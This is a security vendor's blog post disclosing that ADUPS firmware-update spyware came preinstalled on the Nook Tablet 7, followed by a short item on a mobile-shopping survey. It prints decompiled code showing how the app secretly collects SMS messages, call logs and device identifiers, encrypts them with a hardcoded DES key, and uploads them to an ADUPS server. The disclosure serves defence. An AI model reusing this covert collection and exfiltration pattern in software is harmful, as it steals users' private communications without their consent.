Good news if you got a Barnes & Noble Nook Tablet 7 for the Holidays

nook-7

Over the past couple of months, Trustlook Mobile Security has published a lot of research (here and here) about ADUPS spyware. It is no surprise we have received many inquiries about the latest ADUPS security vulnerability involving the Barnes & Noble Nook 7. You may or may not know that the $50 Barnes & Noble device was shipping with Adups backdoor-planting firmware preinstalled.

We are happy to announce that Barnes and Noble has got a fix. The company has also issued the following statement regarding the issue.

“NOOK Tablet 7” went on sale on November 26. By that time, the device automatically updated to a newer version of ADUPS (5.5), which has been certified as complying with Google’s security requirements, when first connected to Wi-Fi. ADUPS has confirmed to Barnes & Noble that it never collected any personally identifiable information or location data from NOOK Tablet 7” devices, nor will it do so in the future.

Finally, we are working on a software update to remove ADUPS completely from the NOOK Tablet 7”. That update will be made available to download within the next few weeks, but in the meantime customers can rest assured that the device is safe to use.”

Whew! To think that you could have been sending your most private information to servers in China while you were reading your favorite novel was quite concerning.

 

Digging into ADUPS FOTA data collection details

People like to think their brand new phone is clean and free of malware, but that is not always the case. Some smartphone manufacturers choose to use a third party FOTA (Firmware Over-The-Air) service instead of Google’s, which can pose serious security risks. This is what happened in the case of Shanghai based ADUPS Technology Co.

ADUPS provides FOTA update services for mobile devices. Trustlook Labs researched multiple mobile devices and discovered several apps produced by ADUPS have serious security flaws. We researched a sample with package name “com.adups.fota”, app name “无线升级”, version 5.1.0.0.1.

The app comes preinstalled on the device. It collects many types of user information. In addition to specifications such as IMEI, IMSI, MAC address, version number, and operator, this app attempts to collect user’s SMS text messages and call logs. More troubling is that all of these procedures are done without user’s consent and are processed in the background.

Diving into the code…

The following code snippets show the app start to collect call logs and SMS messages:

    public static void getCallLogList(Context arg7, long arg8) {
        Cursor v1;
        StringBuffer v6 = new StringBuffer();
        String v3 = "date>" + arg8 + " and " + "date" + "<" + System.currentTimeMillis();
        try {
            v1 = arg7.getContentResolver().query(Uri.parse("content://com.ad.dinfo/call"), null, v3,
                    null, null);
            if(v1 != null) {
                goto label_25;
            }

            goto label_87;
        }
        catch(Exception v0) {
            goto label_99;
        }

        try {
        label_25:
            if(v1.getCount() > 0 && (v1.moveToFirst())) {
                TellMessageBean v0_2 = new TellMessageBean();
                v0_2.messages = "";
                v0_2.dctime = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date());
                do {
                    v6.setLength(0);
                    String v2 = v1.getString(v1.getColumnIndex("number"));
                    v3 = v1.getString(v1.getColumnIndex("type"));
                    String v4 = v1.getString(v1.getColumnIndex("date"));
                    String v5 = v1.getString(v1.getColumnIndex("duration"));
                    v6.append(v2);
                    v6.append(":");
                    if("2".equals(v3)) {
                        v6.append("1");
                    }
                    else {
                        v6.append("0");
                    }

                    v6.append(":");
                    if("1".equals(v3)) {
                        v6.append("1");
                    }
                    else {
                        v6.append("0");
                    }

                    v6.append(":");
                    v6.append(v3);
                    v6.append(":");
                    v6.append(v4);
                    v6.append(":");
                    v6.append(v5);
                    v0_2.tells = v6.toString();
                    new DataBaseOperate(arg7).insertTellMessage(v0_2);
                    Trace.d(v0_2.toString());
                    if(v1.moveToNext()) {
                        continue;
                    }

                    break;
                }
                while(true);
            }
[...]

    public static void getSmsInPhone(Context arg7, long arg8) {
        Cursor v1;
        StringBuffer v6 = new StringBuffer();
        String v3 = "date > " + arg8 + " and " + "date <" + System.currentTimeMillis();
        try {
            v1 = arg7.getContentResolver().query(Uri.parse("content://com.ad.dinfo/msg"), null, v3,
                    null, null);
            if(v1 != null) {
                goto label_23;
            }

            goto label_83;
        }
        catch(SQLiteException v0) {
            goto label_95;
        }

        try {
        label_23:
            if(v1.getCount() > 0 && (v1.moveToFirst())) {
                TellMessageBean v0_3 = new TellMessageBean();
                v0_3.tells = "";
                v0_3.dctime = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date());
                do {
                    v6.setLength(0);
                    String v2 = v1.getString(v1.getColumnIndex("address"));
                    v3 = v1.getString(v1.getColumnIndex("type"));
                    String v4 = v1.getString(v1.getColumnIndex("date"));
                    String v5 = "0";
                    v6.append(v2);
                    v6.append(":");
                    if("2".equals(v3)) {
                        v6.append("1");
                    }
                    else {
                        v6.append("0");
[...]

    public void getMessageData() {
        try {
            b.a(this.ctx);
            String v0_1 = h.b(this.ctx, "push");
            g.a(this.ctx, "message data:: " + v0_1);
            if(!TextUtils.isEmpty(((CharSequence)v0_1)) && !v0_1.startsWith("0")) {
                this.message_process(v0_1);
            }

            if(h.a(this.ctx)) {
                this.installReport();
                this.reportFailDownloadMesssage(31);
            }

            this.delOutMesssage();
            this.reInstallRemind();
        }
        catch(Exception v0) {
            z.a(((Throwable)v0));
        }

        a.c(this.ctx);
    }

 

The getTellMessageData() method shown below calls the above methods.

 

public void getTellMessageData(Context arg3) {
        try {
            arg3.getSharedPreferences(Const.CHECK_SETTING_NAME, 0);
            long v0_1 = this.getSharedPreferTellSchedule(arg3);
            DcTellMessage.getSmsInPhone(arg3, v0_1);
            DcTellMessage.getCallLogList(arg3, v0_1);
            this.updateSharedPreferTellMessageSchedule(arg3);
        }
        catch(Exception v0) {
            Trace.wtf(((Throwable)v0));
        }
    }

 

The collectDcData() method shown below calls getTellMessageData() and some other methods to collect other information and insert the data into an SQL database.

 

private void collectDcData() {
        try {
            File v0_1 = new File(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip);
            File v1 = new File(Environment.getDataDirectory().getAbsolutePath() + this.dataPathSource);
            if(!v0_1.exists()) {
                v0_1.mkdir();
            }

            if(v1.exists()) {
                goto label_26;
            }

            v1.mkdir();
        }
        catch(Exception v0) {
            Trace.wtf(((Throwable)v0));
        }

        try {
        label_26:
            new DcTellMessage().getTellMessageData(this.ctx);
            new DcMobileStatus().getDcMoblicStatus(this.ctx);
            new DcMessage().getMessageData(this.ctx);
            new DcApp(this.ctx).getDcApp();
        }
        catch(Exception v0) {
            Trace.wtf(((Throwable)v0));
        }
    }

 

The data are then written to JSON format and zipped:

 

private boolean convertAndZipFile() {
        boolean v0_2;
        try {
            Gson v0_1 = new Gson();
            DataBaseOperate v1 = new DataBaseOperate(this.ctx);
            FileUtil.writeSDFile(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip
                     + String.valueOf(new char[]{'D', 'c', 'M', 'o', 'b', 'i', 'l', 'e', 'S', 't', 'a',
                    't', 'u', 's', '.', 'j', 's', 'o', 'n'}), v0_1.toJson(v1.getMobileStatusList()));
            FileUtil.writeSDFile(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip
                     + String.valueOf(new char[]{'D', 'c', 'A', 'p', 'p', '.', 'j', 's', 'o', 'n'}),
                    v0_1.toJson(v1.getAppList()));
            FileUtil.writeSDFile(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip
                     + String.valueOf(new char[]{'D', 'c', 'T', 'e', 'l', 'l', 'M', 'e', 's', 's', 'a',
                    'g', 'e', '.', 'j', 's', 'o', 'n'}), v0_1.toJson(v1.getTellMessageList()));
            FileUtil.writeSDFile(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip
                     + String.valueOf(new char[]{'D', 'c', 'A', 'p', 'p', 'O', 'p', '.', 'j', 's', 'o',
                    'n'}), v0_1.toJson(v1.getAppOpList()));
            FileUtil.writeSDFile(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip
                     + String.valueOf(new char[]{'d', 'c', '_', 'a', 'p', 'p', '_', 'f', 'l', 'o', 'w',
                    '.', 'j', 's', 'o', 'n'}), v0_1.toJson(v1.getAppFlowList()));
            FileUtil.writeSDFile(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip
                     + String.valueOf(new char[]{'d', 'c', '_', 'm', 's', 'g', '_', 'k', 'e', 'y', '.',
                    'j', 's', 'o', 'n'}), v0_1.toJson(v1.getMessageList()));
            FileUtil.writeSDFile(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip
                     + String.valueOf(new char[]{'D', 'c', 'R', 'o', 'o', 't', 'I', 'n', 'f', 'o', '.',
                    'j', 's', 'o', 'n'}), v0_1.toJson(new DcBin().getBinFileList()));
            FileUtil.ZipFolder(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip,
                    Environment.getDataDirectory().getAbsolutePath() + this.dataPathSource + AnalyticsReport
                    .ZIP_FILENAME);
            v0_2 = true;
        }

 

The 7 JSON files contain various user information:

DcMobileStatus.json
Dcapp.json
DcTellMessage.json
DcappOp.json
dc_app_flow.json
dc_msg_key.json
DcRootInfo.json

The collected call logs and SMS messages are stored in “DcTellMessage.json” file. All data is then encrypted by using DES and sent out:

 

public void upload() {
        int v3 = Const.domains.length;
        if(v3 > 0 && !TextUtils.isEmpty(this.pid) && (HttpUtil.isNetWorkAvailable(this.ctx)) && (this
                .convertAndZipFile())) {
            int v1 = new Random().nextInt(v3);
            int v0 = 0;
            while(true) {
                if(v0 < v3) {
                    int v2 = v1 + 1;
                    if(this.upload(Const.domains[v1 % v3] + this.pid + "/" + Const.UPLOAD_LOG_RQ)) {
                        this.saveLastTime("dupt", System.currentTimeMillis());
                    }
                    else {
                        SystemClock.sleep(2000);
                        ++v0;
                        v1 = v2;
                        continue;
                    }
                }
                else {
                    break;
                }

                return;
            }

            this.saveLastTime("dupt", System.currentTimeMillis());
        }
    }

    private boolean upload(String arg9) {
        boolean v0 = false;
        try {
            MobileInfo v1_1 = MobileInfo.getInstance(this.ctx);
            File v2 = new File(Environment.getDataDirectory().getAbsolutePath() + this.dataPathSource
                     + AnalyticsReport.ZIP_FILENAME);
            if(!v2.exists()) {
                return v0;
            }

            MediaType v3 = MediaType.parse("text/plain");
            StringBuilder v4 = new StringBuilder();
            v4.append(AnalyticsReport.PARAM_MID).append('=').append(Mid.getMid(this.ctx)).append('&');
            v4.append(AnalyticsReport.PARAM_MODULE).append('=').append(String.valueOf(2)).append('&');
            v4.append(AnalyticsReport.PARAM_APPV).append('=').append("V5.0.0").append('&');
            v4.append(AnalyticsReport.PARAM_MODEL).append('=').append(v1_1.getMobileModel()).append(
                    '&');
            v4.append(AnalyticsReport.PARAM_PROJECT).append('=').append(ApkUtil.getAppMetaData(this.
                    ctx, String.valueOf(new char[]{'U', 'I', 'D'}))).append('&');
            v4.append(AnalyticsReport.PARAM_CHANNEL).append('=').append(ApkUtil.getAppMetaData(this.
                    ctx, String.valueOf(new char[]{'C', 'I', 'D'}))).append('&');
            v4.append(AnalyticsReport.PARAM_PRODUCT).append('=').append(ApkUtil.getAppMetaData(this.
                    ctx, String.valueOf(new char[]{'P', 'I', 'D'}))).append('&');
            v4.append(AnalyticsReport.PARAM_IMEI).append('=').append(v1_1.getIMEI()).append('&');
            v4.append(AnalyticsReport.PARAM_IMSI).append('=').append(v1_1.getIMSI()).append('&');
            v4.append(AnalyticsReport.PARAM_WIFIMAC).append('=').append(v1_1.getMacAddress()).append(
                    '&');
            v4.append(AnalyticsReport.PARAM_OPERATOR).append('=').append(v1_1.getOper()).append('&');
            v4.append(AnalyticsReport.PARAM_SN).append('=').append(v1_1.getSIMSN()).append('&');
            v4.append(AnalyticsReport.PARAM_SIM).append('=').append(v1_1.getSIMNum()).append('&');
            v4.append(AnalyticsReport.PARAM_OEM).append('=').append(v1_1.getOem()).append('&');
            v4.append(AnalyticsReport.PARAM_BRAND).append('=').append(v1_1.getBrand()).append('&');
            v4.append(AnalyticsReport.PARAM_APN).append('=').append(MobileInfo.mapNetworkTypeToType(
                    this.ctx)).append('&');
            v4.append(AnalyticsReport.PARAM_BUILDNUMBER).append('=').append(v1_1.getBuildnumber()).append(
                    '&');
            MultipartBuilder v1_2 = new MultipartBuilder();
            v1_2.addFormDataPart(AnalyticsReport.PARAM_ENCRYPTED, DES.encryptDES(v4.toString()));
            v1_2.addFormDataPart(AnalyticsReport.PARAM_PRODUCT, ApkUtil.getAppMetaData(this.ctx, String
                    .valueOf(new char[]{'P', 'I', 'D'})));
            v1_2.addFormDataPart(AnalyticsReport.PARAM_UPLOAD, AnalyticsReport.PARAM_UPLOAD, RequestBody
                    .create(v3, v2));
            Response v1_3 = OkHttpUtil.execute(new Builder().url(arg9).post(v1_2.build()).build());
            if(v1_3 == null) {
                return v0;
            }

 

The DES.encryptDES() method that is used in the above code is shown below:

 

public class DES {
    private static String DEF_KEY;
    private static byte[] iv;

    static {
        DES.iv = new byte[]{1, 2, 3, 4, 5, 6, 7, 8};
        DES.DEF_KEY = String.valueOf(new char[]{'N', 'o', 't', 'C', 'r', 'a', 'c', 'k'});
    }

    public DES() {
        super();
    }
[...]
   public static String encryptDES(String arg1) {
        return DES.encryptDES(arg1, DES.DEF_KEY);
    }

    public static String encryptDES(String arg4, String arg5) {
        String v0_2;
        try {
            IvParameterSpec v0_1 = new IvParameterSpec(DES.iv);
            SecretKeySpec v1 = new SecretKeySpec(arg5.getBytes(), "DES");
            Cipher v2 = Cipher.getInstance("DES/CBC/PKCS5Padding");
            v2.init(1, ((Key)v1), ((AlgorithmParameterSpec)v0_1));
            v0_2 = Base64.encode(v2.doFinal(arg4.getBytes()));
        }
        catch(Exception v0) {
            Trace.wtf(((Throwable)v0));
            v0_2 = "";
        }

        return v0_2;
    }

 

The DES encryption key is “NotCrack” and the IV is 12345678.
The data is sent to the following domain “https://bigdata.adups.com/”

 

public static String[] domains = { String.valueOf(new char[] { 104, 116, 116, 112, 115, 58, 47, 47, 98, 105, 103, 100, 97, 116, 97, 46, 97, 100, 117, 112, 115, 46, 99, 111, 109, 47 }) };

 

The data is uploaded every 72 hours:

 

        Const.ANALYTICS_SCHEDULE_DEF = 259200000;
[...]
    private boolean isOverDCUploadTime() {
        boolean v0 = false;
        long v2 = System.currentTimeMillis();
        long v4 = this.prefs.getLong("dupt", -1);
        if(v4 < 0) {
            this.saveLastTime("dupt", v2);
        }
        else if(v2 - v4 >= Const.ANALYTICS_SCHEDULE_DEF) {
            v0 = true;
        }

        return v0;
    }
[...]
    private void checkDc() {
        if(this.isOverDCTime()) {
            this.collectDcData();
        }

        if(this.isOverDCUploadTime()) {
            this.upload();
        }
    }

 

Summary
The Trustlook Mobile Security app detects this app as “Android.Trojan.Adups”. Trustlook’s anti-threat platform can effectively alert and remove the threat. Download the Trustlook app for free from the Google Play store.

Over 70 Percent Will Shop on Mobile This Holiday Season

Shopping on a mobile device is expected to be stronger than ever during the 2016 Holiday Season. Smartphone proliferation, faster network speeds, and slick shopping apps have combined to provide a far better experience for mobile shoppers. But as the spending is soaring, so too are the mobile security risks.

Trustlook, a next-generation mobile security company, has shared findings from a recent survey of Android users. The goal of the survey was to dig deeper into the expected mobile shopping behaviors for the 2016 Holiday season. Some key findings include:

1. 43% of users surveyed will spend more than $250 on purchases made through a mobile device
2. 40% of mobile shoppers prefer shopping on their mobile devices, versus 18% who prefer shopping in a store
3. Even though 70.35% of users surveyed plan on making a purchase on a mobile device, 64% have not installed a mobile security app
4. Amazon, eBay, and Walmart are the most popular mobile shopping apps

For an infographic on Trustlook’s survey findings, please go here.